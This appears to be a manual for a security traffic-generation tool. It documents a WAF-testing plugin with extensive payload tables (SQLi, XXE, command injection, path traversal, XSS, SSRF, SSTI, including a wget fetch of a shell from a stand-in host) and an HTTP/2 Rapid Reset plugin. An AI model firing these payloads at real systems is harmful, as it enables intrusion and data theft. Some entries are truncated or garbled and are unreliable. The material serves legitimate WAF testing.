WAF
The WAF plugin generates web traffic containing selected vulnerability patterns.
The plugin includes the following settings:
- Sources — the selected agent, interfaces, and MAC addresses from which the agent sends and receives traffic. Table 20 describes these settings.
Table 20 — Sources settings
| Name | Description | Value |
|---|---|---|
| Agent | Agent that sends and receives traffic. | Select an agent from the agent list |
| Network interface | Agent network interface that sends and receives traffic. | Select an interface from the interface list |
| Network | Selected Network object whose settings are used to send traffic. When multiple objects are selected, adjust their weights to balance packet distribution. | Select a Network object and set its weight; by default, packets are distributed evenly |
- Targets — select the object to which traffic is sent; see Networks. Table 21 describes these settings.
Table 21 — Targets settings
| Name | Description | Value |
|---|---|---|
| Target | Selected Network object whose settings are used when sending traffic to the target. | Select a Network object |
- IP header (L3) — IP header settings at L3 in the TCP/IP stack. Table 22 describes these settings.
Table 22 — IP header (L3) settings
| Name | Description | Value |
|---|---|---|
| TTL (Time to Live) | Maximum number of routers (hops) that a packet can traverse before it is discarded. | Enter a number (default: 128) |
| ToS (Type of Service) | DSCP is an IP header field used to determine traffic priority and handling. | Enter a number (default DSCP: 7) |
| ToS (Type of Service) | ECN allows routers to notify endpoints about congestion without dropping packets. | Select 00 (Non-ECT), 01 (ECT(1)), 10 (ECT(0)), or 11 (CE) |
- TCP header (L4) — TCP header settings at L4 in the TCP/IP stack. Table 23 describes these settings.
Table 23 — TCP header (L4) settings
| Name | Description | Value |
|---|---|---|
| Max. Segment Size | Maximum amount of data carried in one TCP segment. | Enter a number (default: 1460) |
| WS (IP Options) | TCP Window Scale increases the window available for flow control. | Enter a number (default: 64) |
| Window Size | Amount of TCP data sent before an acknowledgment is required. | Enter a number (default: 256) |
- TCP header (L4) — TCP header settings at L4 in the TCP/IP stack. Table 24 describes these settings.
Table 24 — TCP header (L4) settings
| Name | Description | Value |
|---|---|---|
| Max. Segment Size | Maximum amount of data carried in one TCP segment. | Enter a number (default: 1460) |
| WS (IP Options) | TCP Window Scale increases the window available for flow control. | Enter a number (default: 64) |
| Window Size | Amount of TCP data sent before an acknowledgment is required. | Enter a number (default: 256) |
- HTTP settings — HTTP header settings at L6–L7 in the TCP/IP stack. Table 25 describes these settings.
Table 25 — HTTP settings
| Name | Description | Value |
|---|---|---|
| HTTPS | Determines whether HTTPS is used for secure data transfer. | Yes / No; use the toggle |
| TLS version | TLS protocol version used to secure data transfer. Available when HTTPS is enabled. | Select TLS v1.2 or TLS v1.3 |
| HTTP version | HTTP protocol version used for data transfer. | Select HTTP 1.1 or HTTP 2.0 |
| User-Agent | Header identifying the client application and operating system. | Enter a value. Default: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36. ${userAgent} selects a random valid value from the web-interface list for each request |
- WAF modules — predefined malicious requests organized into the following test groups:
Basic WAF testing (see Table 26)
Table 26 — Basic WAF testing settings
| Name | Description | Value |
|---|---|---|
| Broken Access Control | Request to a restricted path | (GET /admin/delete\_user?id=1) |
| Injection URL (SQLi) | SQL in the URL | ?id=1+union+select+1,2,3-- |
| Injection JSON (SOLi) | SQL in JSON | ({“user”: {“$ne”: null}}) |
| Injection (Command) | OS Command | (GET /?id=system(cd /var/jet && make &\> /dev/null);) |
| Insecure Desing | JSON logic | ({“action”: “makeAdmin”, “user”: “guest”}) |
| Security Misconfig | Request to .git | (Get /.git/config) |
| Outdated Components | Vulnerable WordPress plugin | GET /wp-content/plugins/revslider/temp/update\_extract/revslider/ |
| Auth Failures | Forged token | (Cookie: auth\_token=invalid) |
| Data Integrity | Forged JavaScript | (GET /cdn/js/app.js?v=999999999) |
| Path Traversal | File traversal | (GET /?home=/ ../ ../ ../ ../ ../) |
| SSRF | Request to AWS instance metadata | ({“url”: [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)})` |
| XSS: Basic | Basic XSS | (<script\>alert(xss)</script>) |
| XSS: Obfuscated | Obfuscated XSS | (\<scr\<script\>ipt\>alert(xss)\</scr\<script\>ipt\>) |
| Bypass: SQLi with URL-encoding | URL-encoded SQLi | ( q=%27%20OR%201 %3D1-) |
| Evasion: Chunked Encoding | Chunked Encoding | (Transfer-Encoging: chunked \+ encoded payloag) |
Advanced WAF testing
SQLi Advanced (see Table 27)
Generates SQL injection variants ranging from simple UNION SELECT payloads to obfuscated and filter-bypass attacks, including blind and time-based SQLi. Use it to test resistance to SQL filter evasion.
Table 27 — SQLi Advanced payloads
| Name | Value |
|---|---|
| Basic UNOIN SELECT | /?id=1+union+select+1,2,3-- |
| Comment-obfuscated UNION | /?id=1+un/\*\*/ion+se/\*\*lect+1,2,3-- |
| Case-mised UNION | /?id=1+UnIoN/\*\*/SeLecT/\*\*/1,2,3-- |
| Double UNION-SELECT bypass | /?id=1+UNunionION+SEselectLECT+1,2,3-- |
| Vertical tab separation | /?id=1+uni%0bon+se%0blect+1,2,3-- |
| Division error + hex payload | /?id=0+div+1+union%23foo\*%2F\*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent\_user |
| Massive hex payload | /?id=1+and+(select%201)=(select%200x414141414141441414141414114141414141414141414141414141414141414141%E2%80%A6.)+union+select+1,2,version(),database(),user(),6,7,8,9,10 |
| MySQL table dump | /?id=1 /\*\!union select\*/ 1,table\_name from /\*\!information\_schema.tables\*/ |
| Hex-encoded table | /?id=1 /\*\!union select\*/ 1,column\_name from /\*\!information\_schema.columns where table\_name \= 0x7573657273\*/ |
| Compact data extraction | /?id=1 /\*\!union select\*/ /\*\!user,password\*/ from /\*\!users\*/ |
| XP_CMDSHELL | /?id=1\\'; EXEC master..xp\_cmdshell "net user zeq3ul UrWaFisShiT /add" \-- |
| LPAD function' | /id/1/\*\*/ |
| Vertical tab LPAD | /id/1%0b |
| Double-encoded UNION | /?id=1%252f%252a\*/union%252f%252a/select%252f%252a\*/1,2,3%252f%252a\*/from%252f%252a\*/users-- |
| Current_user | /?id=0%20div%201%20union%20select%201,2,current\_user |
| MySQL-specific UNION | /?id=1/\*\!UnIoN\*/SeLecT+1,2,3-- |
| Concat table names | /?id=/\*\!UnIoN\*/+/\*\!SeLecT\*/+1,2,concat(/\*\!table\_n%20ame\*/)+FrOm/\*\!information\_schema\*/.tables/\*\!WhErE\*/+/\*\!TaBlE\_sChEMa\*/%20+like+database()-- |
| Query stacking 1 | /?q=select name\&q=password from users |
| Query stacking 2 | /?q=select name,password from users |
| Fragmented query | /?q=select/\*\&q=\*/name& amp;q=password/\*\&q=\*/from/\*\&q=\*/users |
| Version concat | /?p=-1 union /\*\!select\*/ concat\_ws(0x3a,version(),database(),user()) |
| Column enum | /?p=-373867 union select 1,2,column\_name,4,5 from information\_schema.columns/\* |
| Full system info | /?p=-3195 union /\*\!select\*/ 0,1,2,3,4,5,6,7,8,9,concat\_ws(0x3a,@@version,user(),database(),@@version\_compile\_os),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- |
| Subquery | /?p=( ( SELECT @a ) OR 'b' ) \-- |
| Function bypass | /?p=( (SELECT 'a' ) OR COS ( 'b') ) \-- |
| Version check | /?p=-1' or 1=@@version \-- |
| Char-based version | /?p=3520 AND (version() like char(51,46,50,51,46,53,52)) |
| Limit abuse | /?p=1' union (select 's' from users limit 1,1) |
| Version 2 | /?p=-001 union select 1,2,3,4,5,version(),7,8,9,10 |
| System user | /?p=-1 or 1=(select system\_user)-- |
| Char alert | /?p=1 union select 1,char(72,97,99,107,101,100,32,98,121,32,91,32,99,97,115,104,32,93),3,4,5,6,7/\* |
| Substring | /?p=22 AND SUBSTRING((y()),1,1)=x/\* |
| Benchmark | /?p="+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- |
| Nested benchmark | /?p=)) and 0=benchmark(3000000,MD5(1))%20-- |
| Waitfor delay | /?p=),NULL)%20waitfor%20delay%20'0:0:20'%20-- |
| Nested sleep | /?p=,(select \* from (select(sleep(10)))a) |
| JSON extract | /?p=-1748 OR JSON\_EXTRACT("{""nCvS"": 9981}", "$.nCvS") \= 9981\*7055 |
| JSON array | /?p=123 AND JSON\_ARRAY\_LENGTH("\[\]") \<= 294 |
| JSON keys | /?p=123") OR JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(4024=4024,1))),0x7178717a71)) USING utf8))) AND ("xWuM" LIKE "xWuM |
| Negative float | /?p="union select \-7431.1, name, @aaa from u\_base--w- |
| Float compare | /?p=or 123.22=123.22 |
| Delay syntax | /?p= waitfor delay '00:00:10'-- |
| Nested sleep 2 | /?p=(select(0)from(select(sleep(15)))v)/\*'+(select(0)from(select(sleep(15)))v)+'%22+(select(0)from(select(sleep(15)))v)+%22\*/ |
| JSON extract 2 | /?p=-1134') OR JSON\_EXTRACT('{\\"\\"aKER\\"\\": 9648}', '$.aKER') \= 9648\*7799 AND ('QlYa' LIKE 'QlYa |
| JSON depth | /?p=123) AND 12=12 AND JSON\_DEPTH('{}') \!= 2521 |
| ELT function | /?p=123) AND ELT(5287=5287,5480) AND JSON\_ARRAY\_LENGTH('\[\]') \<= 2333 |
| JSON keys 2 | /?p=123 AND JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(1141=1141,1))),0x7178717a71)) USING utf8))) |
| JSON length | /?p=123) AND (SELECT 'eNOW')='FsQu' AND JSON\_LENGTH('{}') \<= 9779 |
XXE Advanced (see Table 28)
Tests XML parsers with payloads that can disclose file contents, initiate network connections, or bypass restrictions.
Table 28 — XXE Advanced payloads
| Name | Value |
|---|---|
| External entity file read | \<?xml version="1.0"?\>\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;file:///etc/passwd'\>\]\>\<root\>\&test;\</root\> |
| Base64 data scheme attack | \<\!DOCTYPE test \[ \<\!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"\> %init; \]\>\<foo/\> |
| Remote DTD inclusion | \<?xml version="1.0" encoding="ISO-8859-1"?\>\<\!DOCTYPE foo \[\<\!ELEMENT foo ANY \>\<\!ENTITY % xxe SYSTEM "http://evil.com/secret\_pass.txt" \>\]\>\<foo\>\&xxe;\</foo\> |
| Collaborator-based SSRF | \<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;http://h3l9aaaaz81tmq5ztaaaaaa.burpcollaborator.net'\>\]\>\<root\>\&test;\</root\> |
Command Injection Advanced (see Table 29)
Tests whether request parameters can execute arbitrary operating-system commands. Payloads cover both POSIX and Windows environments.
Table 29 — Command Injection Advanced payloads
| Name | Value |
|---|---|
| SQL-to-OS pivot | /?id=10 and 1=0/(select top 1 table\_name from information\_schema.tables) |
| Obfuscated SQL-to-OS | /?id=10 a%nd 1=0/(se%lect top 1 ta%ble\_name fr%om info%rmation\_schema.tables) |
| XPCMDSHELL User Creation | CODEBLOCK2\_ |
| Direct XPCMDSHELL Call | CODEBLOCK3\_ |
| Bracket Obfuscation | /?xp\[cmdshell |
| Basic Command Chaining | /?a=; ls |
| Newline Injection | /?a=%0a ls |
| Subshell Execution | /?a=$(ls) |
| Single Quote Escape | /?a='ls' |
| Ampersand Separation | /?a=& ls |
| URL-encoded Ampersand | /?a=%26 ls |
| Double Ampersand | /?a=1 && ls |
| URL-encoded Double Ampersand | /?a=%26%26 ls |
| Pipe Separation | /?a= |
| Double Pipe | /?a= |
| Path Fragmentation | /?a= '/b'i'n/l's' |
| Backslash Obfuscation | /?a= /b\\\\in/l\\\\s |
| Variable Substitution | /?a=cat$a /etc\#$a/passwd$a |
File Injection Advanced (see Table 30)
Tests injection through file paths and URI schemes such as php://, file://, and zip://, targeting sensitive data or executable files.
Table 30 — File Injection Advanced payloads
| Name | Value |
|---|---|
| Basic Directory Traversal | /?file=../bla.txt |
| Encoded Dot-Dot-Slash | /?file=.%./bla.txt |
| PHP Filter Exploit via XML Entity | /?a=\<\!ENTITY%20bin%20PUBLIC%20"php://filter/read=convert.%20base64-encode/resource=/path/to/binary/file"\> |
| Basic File Protocol | /?p=file=/etc/passwd |
| File URI Scheme | ?p=file:///etc/passwd |
| PHP Base64 Filter | /?p=php://filter/convert.base64-encode/resource=../../../../../etc/passwd |
| PHP Zlib Compression Filter | /?p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd |
| Kubernetes Secrets via IPv6 | /?p=file://0000::001/var/run/secrets/kubernetes.io/serviceaccount |
XML Injection Advanced (see Table 31)
Tests how the system processes user-supplied XML, including cases that can trigger parsing errors or disclose data.
Table 31 — XML Injection Advanced payloads
| Name | Value |
|---|---|
| XML Parser Logic Bypass | /?test\[1=2test\_ \-- |
Path Traversal Advanced (see Table 32)
Tests paths such as ../../etc/passwd and their obfuscated variants to detect access to protected system files.
Table 32 — Path Traversal Advanced payloads
| Name | Value |
|---|---|
| Windows Path | /?p=.../.../WINDOWS/win.ini |
| Null Byte Termination | /?p=../../../../etc/passwd%00 |
| JPG Null Byte | /?p=../../../../etc/passwd%00jpg |
| Query Param Bypass | /?p=../../../../etc/passwd? |
| Double Encoding | /?p=%252e%252e%252fetc%252fpasswd |
| Double Encoded Null | /?p=%252e%252e%252fetc%252fpasswd%00 |
| Nested Slashes | /?p=....//....//etc/passwd |
| Excessive Slashes | /?p=..///////..////..//////etc/passwd |
| Backslash Bypass | /?p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd |
| URL Encoded Slash | /?p=..%2f..%2f..%2f..%2fetc%2fpasswd |
| Dot Encoding | /?p=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |
| Triple Encoding | /?p=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd |
| Backslash Encoding | /?p=..%255c..%255c..%255c..%255cetc%255cpasswd |
| Unicode Bypass | /?p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%afpasswd |
| Dot Overload | /?p=%252e%252e%252e%252e%252e%252eetcpasswd' |
| C1 Byte Bypass | /?p=..%c1%9c..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd |
UNC Path Traversal Advanced (see Table 33)
Uses paths such as \\host\\c$\\windows\\win.ini to test nonstandard access to local or remote system resources.
Table 33 — UNC Path Traversal Advanced payloads
| Name | Value |
|---|---|
| IPv6 UNC Path | /?p=0::001c$windowswin.ini |
| Registry Access | /?p=::1c$usersdefault\\ntuser.dat |
| Localhost UNC | /?p=localhostc$windowswin.ini |
| Long Path Bypass | /?p=file:////////////////////////c |
RCE Advanced (see Table 34)
Emulates attacks such as Shellshock, PHP/JavaScript injection, and filter bypasses that target arbitrary code execution on the server.
Table 34 — RCE Advanced payloads
| Name | Value |
|---|---|
| ShellShock Exploit | /?p=() { :; }; echo ; /bin/bash \-c 'cat /etc/passwd' |
| PHP Short Tag | /?p=\<?=$\_POST\[00\]?\> |
| Command Concatenation | /?p=; cat /et'c/pa's's'wd |
| IP-based Execution | /?p=cmd=127.0.0.1 && ls /etc |
| String Reversal | /?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn' |
| Variable Obfuscation | /?p=cat$IFS$9${PWD\[a-z\]\*}e\*c${PWD\[a−za-z\]\*}p?ss?? |
GraphQL Advanced (see Table 35)
Sends unusual, deeply nested, and mutated GraphQL requests to reveal gaps in validation and type checking.
Table 35 — GraphQL Advanced payloads
| Name | Value |
|---|---|
| Basic Schema Extraction | /?query={ \_\_schema { types { name } } } |
| Deep Type Introspection | /?query={\_\_schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on \_\_Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on \_\_InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on \_\_Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} |
XSS Advanced (see Table 36)
Tests whether JavaScript can be injected into a web page using payloads for DOM-based, reflected, and stored XSS.
Table 36 — XSS Advanced payloads
| Name | Value |
|---|---|
| Body Onload | /?q=\<body onload=alert('test1')\> |
| Mouseover Event | /?q=\<b onmouseover=alert('Wufff\!')\>click me\!\</b\> |
| Image Error | /?q=\<img/src=x/onerror=xxx |
| Wheel Event | /?q="onwheel=alert(111) |
| Prototype Pollution | /?q=?\_\_proto\_\_\[innerHTMLinnerHTML\]=\<img/src/onerror%3dalert(1)\> |
| Closure Base Path | /?q=?\_\_proto\_\_\[CLOSURE_BASE_PATHCLOSURE\_BASE\_PATH\]=data:,alert(1)// |
| Vue.js Exploit | /?q=\_\_proto\_\_\[v−ifv-if\]=\_c.export constructor('alert(1)')() |
| SVG MIME Abuse | /?q=sometext\<svg onload=alert(document.domain)\>?mimeType=text/html |
| SVG Short | /?q='\>\<svg/onload=alertxss\> |
| Exception Handler | /?q="\])}``catch(e){if(\!this.x)alert(document.domain),this.x=1}// |
| Self XSS | /?q="));if(\!self.x)self.x=\!alert(document.domain)}``catch(e){}// |
| Image Error 2 | /?q=\<img src=x onerror=alert(document.domain)\>/all |
| JavaScript Pseudo | /?q=javascript:setInterval('ale'+'rt(document.domain)') |
| Map Confirm | /?q="Onclick="(\[11\].map(confirm)) |
| Base64 Image | /?q=\<img\\nsrc=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=\\nonload=alert(1)\> |
| Autofocus Bypass | /?q=\\\\"autofocus=alert(1)// |
| External Entity | /?a=\<\!ENTITY%20pay%20SYSTEM%20"http://example.com/payload.xml"\> |
| Doctype Short | /?a=\<\!DOCTYPE :. SYTEM "http://" |
| Complex Doctype | /?a=\<\!DOCTYPE :\_-\_: SYTEM "http://" |
SSRF Advanced (see Table 37)
Tests whether the server can be induced to issue HTTP requests to internal services, metadata APIs, or external addresses.
Table 37 — SSRF Advanced payloads
| Name | Value |
|---|---|
| Cloud Metadata | /?q=https://somehost/metadata/instance |
| Telnet IPv4 | /?q=telnet://2852039166/ |
| IPv6 Transition | /?q=http://\[::ffff:a9fe:a9fe\]/ |
| AWS Metadata | /?q=http://\[0:0:0:0:0:ffff:169.254.169.254\]/latest/meta-data/ |
| OpenStack Metadata | /?q=http://169.254.169.254/openstack |
| Octal Encoding | /?q=http://0251.00376.000251.0000376/ |
| Shortened IP | /?q=http://0251.254.169.254 |
| Localhost | /?q=http://0.0.0.0:80 |
| Gopher Protocol | /?q=gopher://0.0.0.0:443 |
| SSH Port | /?q=http://0.0.0.0:22 |
| FTP IPv4 | /?q=ftp://3232235521/ |
| Short Port | /?q=http://0:8080/ |
| Minimal URL | /?q=http://0/ |
| Link-Local | /?q=http://169.254.169.254 |
| IMAP | /?q=imap://2130706433 |
| Wildcard IPv6 | /?q=http://\[::::\] |
| Compressed IPv6 | /?q=http://0000::1 |
| Unicode Gopher | /?q=gopher://%EF%BD%9A%EF%BD%9A%EF%BD%9A |
| TFTP Unicode | /?q=tftp://%F0%9D%9F%8E%F0%9D%9F%8E%F0%9D%9F%8E |
SSI/SSTI Advanced (see Table 38)
Tests template engines such as Jinja2 and Freemarker and SSI directives, targeting command execution or file reads through template logic.
Table 38 — SSI/SSTI Advanced payloads
| Name | Value |
|---|---|
| SSI Command | /?q=\<\!--\#exec cmd="wget http://some\_host/shell.txt |
| SSI List Dir | /?q=\<\!--\#exec cmd="ls" \--\> |
| SSI Windows Dir | /?q=\<\!--\#exec cmd="dir" \--\> |
| Java Resource | /?q=${class.getResource("./test/test.res").getContent()} |
| Twig RCE | /?q={{\_self.env.registerUndefinedFilterCallback("exec")}}{{\_self.env.getFilter("id")}} |
| Freemarker RCE | /?q=\<\#assign ex \= "freemarker.template.utility.Execute"?new()\>${ ex("id")} |
| Python Attribute | /?q={{request |
- Session settings — settings that control sessions for the current plugin. Table 39 describes these settings.
Table 39 — Session settings
| Name | Description | Value |
|---|---|---|
| Total sessions | Maximum number of concurrent active sessions established by the plugin. | Enter a number |
| Reconnect timeout | Number of seconds for which Peresvet ST attempts to restore an interrupted connection. The session closes if it cannot be restored within this period. | Enter a number |
| Connections per second | Maximum number of new sessions established per second. | Enter a number |
| Max. streams (per session) | Maximum data streams active in one session. Available only when H2 is enabled under HTTP settings. | Enter a number |
| Unlimited toggle | Enables maximum performance without limiting requests per second. | On/off |
| Requests per second (per session) | Maximum requests processed per second for one session or stream. | Enter a number |
| Request interval | Delay between batches of the configured number of requests per second. | Enter a number |
- Duration — the plugin runtime. Table 40 describes this setting.
Table 40 — Duration setting
| Name | Description | Value |
|---|---|---|
| Generation duration | Traffic generation time. | Enter a number and select seconds, minutes, or hours |
HTTP/2 Rapid Reset
HTTP/2 Rapid Reset generates HTTP/2 web traffic that rapidly opens and resets streams.
The plugin includes the following settings:
- Sources — the selected agent, interfaces, and MAC addresses from which the agent sends and receives traffic. Table 41 describes these settings.
Table 41 — Sources settings
| Name | Description | Value |
|---|---|---|
| Agent | Agent that sends and receives traffic. | Select an agent from the agent list |
| Network interface | Agent network interface that sends and receives traffic. | Select an interface from the interface list |
| Network | Selected Network object whose settings are used to send traffic. When multiple objects are selected, adjust their weights to balance packet distribution. | Select a Network object and set its weight; by default, packets are distributed evenly |
- Targets — select the object to which traffic is sent; see Networks. Table 42 describes these settings.
Table 42 — Targets settings
| Name | Description | Value |
|---|---|---|
| Target | Selected Network object whose settings are used when sending traffic to the target. | Select a Network object |
- IP header (L3) — IP header settings at L3 in the TCP/IP stack. Table 43 describes these settings.
Table 43 — IP header (L3) settings
| Name | Description | Value |
|---|---|---|
| TTL (Time to Live) | Maximum number of routers (hops) that a packet can traverse before it is discarded. | Enter a number (default: 128) |
| ToS (Type of Service) | DSCP is an IP header field used to determine traffic priority and handling. | Enter a number (default DSCP: 7) |
| ToS (Type of Service) | ECN allows routers to notify endpoints about congestion without dropping packets. | Select 00 (Non-ECT), 01 (ECT(1)), 10 (ECT(0)), or 11 (CE) |
- TCP header (L4) — TCP header settings at L4 in the TCP/IP stack. Table 44 describes these settings.
Table 44 — TCP header (L4) settings
| Name | Description | Value |
|---|---|---|
| Max. Segment Size | Maximum amount of data carried in one TCP segment. | Enter a number (default: 1460) |
| WS (IP Options) | TCP Window Scale increases the window available for flow control. | Enter a number (default: 64) |
| Window Size | Amount of TCP data sent before an acknowledgment is required. | Enter a number (default: 256) |
- HTTP settings — HTTP header settings at L6–L7 in the TCP/IP stack. Table 45 describes these settings.
Table 45 — HTTP settings
| Name | Description | Value |
|---|---|---|
| HTTPS | Determines whether HTTPS is used for secure data transfer. | Yes / No; use the toggle |
| TLS version | TLS protocol version used to secure data transfer. Available when HTTPS is enabled. | Select TLS v1.2 or TLS v1.3 |
| HTTP version | HTTP protocol version used for data transfer. | Select HTTP 1.1 or HTTP 2.0 |
| User-Agent | Header identifying the client application and operating system. | Enter a value. Default: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36. ${userAgent} selects a random valid value from the web-interface list for each request |
| Path | Path to the requested resource after the domain name. | Enter a path (default: /) |
| HTTP method | Method used to request the server resource. | Select GET, POST, PUT, PATCH, or DELETE |
| HTTP status | Follows redirects returned with 3xx responses to the target in the Location header. | On/off |
| HTML Meta Refresh | Follows HTML refresh meta-tag redirects, including their configured delay, to the target in the content attribute. | On/off |
| Depth | Maximum number of redirects in one TCP session. | Enter a value (default: 20) |
| Query parameters | Parameters passed in the URL after ?. | Click Add parameters, then enter a value. ${str(length)} generates a random character sequence of the specified length, for example ${str(16)}. ${strMinMax(min\_length,max\_length)} generates a random character sequence within the specified length range, for example ${strMinMax(16,24)}. ${hex(length)} generates a random hexadecimal sequence of the specified length, for example ${hex(16)}. ${hexMinMax(min\_length,max\_length)} generates a random hexadecimal sequence within the specified length range, for example ${hexMinMax(16,24)}. ${email} generates a valid email address with a random username and domain. ${login} generates a valid username. ${password} generates a valid password. |
| Headers | Additional metadata sent with the HTTP request. | Click Add parameters, then enter a value. ${str(length)} generates a random character sequence of the specified length, for example ${str(16)}. ${strMinMax(min\_length,max\_length)} generates a random character sequence within the specified length range, for example ${strMinMax(16,24)}. ${hex(length)} generates a random hexadecimal sequence of the specified length, for example ${hex(16)}. ${hexMinMax(min\_length,max\_length)} generates a random hexadecimal sequence within the specified length range, for example ${hexMinMax(16,24)}. ${email} generates a valid email address with a random username and domain. ${login} generates a valid username. ${password} generates a valid password. |
- Session settings — settings that control sessions for the current plugin. Table 46 describes these settings.
Table 46 — Session settings
| Name | Description | Value |
|---|---|---|
| Total sessions | Maximum number of concurrent active sessions established by the plugin. | Enter a number |
| Reconnect timeout | Number of seconds for which Peresvet ST attempts to restore an interrupted connection. The session closes if it cannot be restored within this period. | Enter a number |
| Connections per second | Maximum number of new sessions established per second. | Enter a number |
| Max. streams (per session) | Maximum data streams active in one session. Available only when H2 is enabled under HTTP settings. | Enter a number |
| Unlimited toggle | Enables maximum performance without limiting requests per second. | On/off |
| Requests per second (per session) | Maximum requests processed per second for one session or stream. | Enter a number |
| Request interval | Delay between batches of the configured number of requests per second. | Enter a number |
- Duration — the plugin runtime. Table 47 describes this setting.
Table 47 — Duration setting
| Name | Description | Value |
|---|---|---|
| Generation duration | Traffic generation time. | Enter a number and select seconds, minutes, or hours |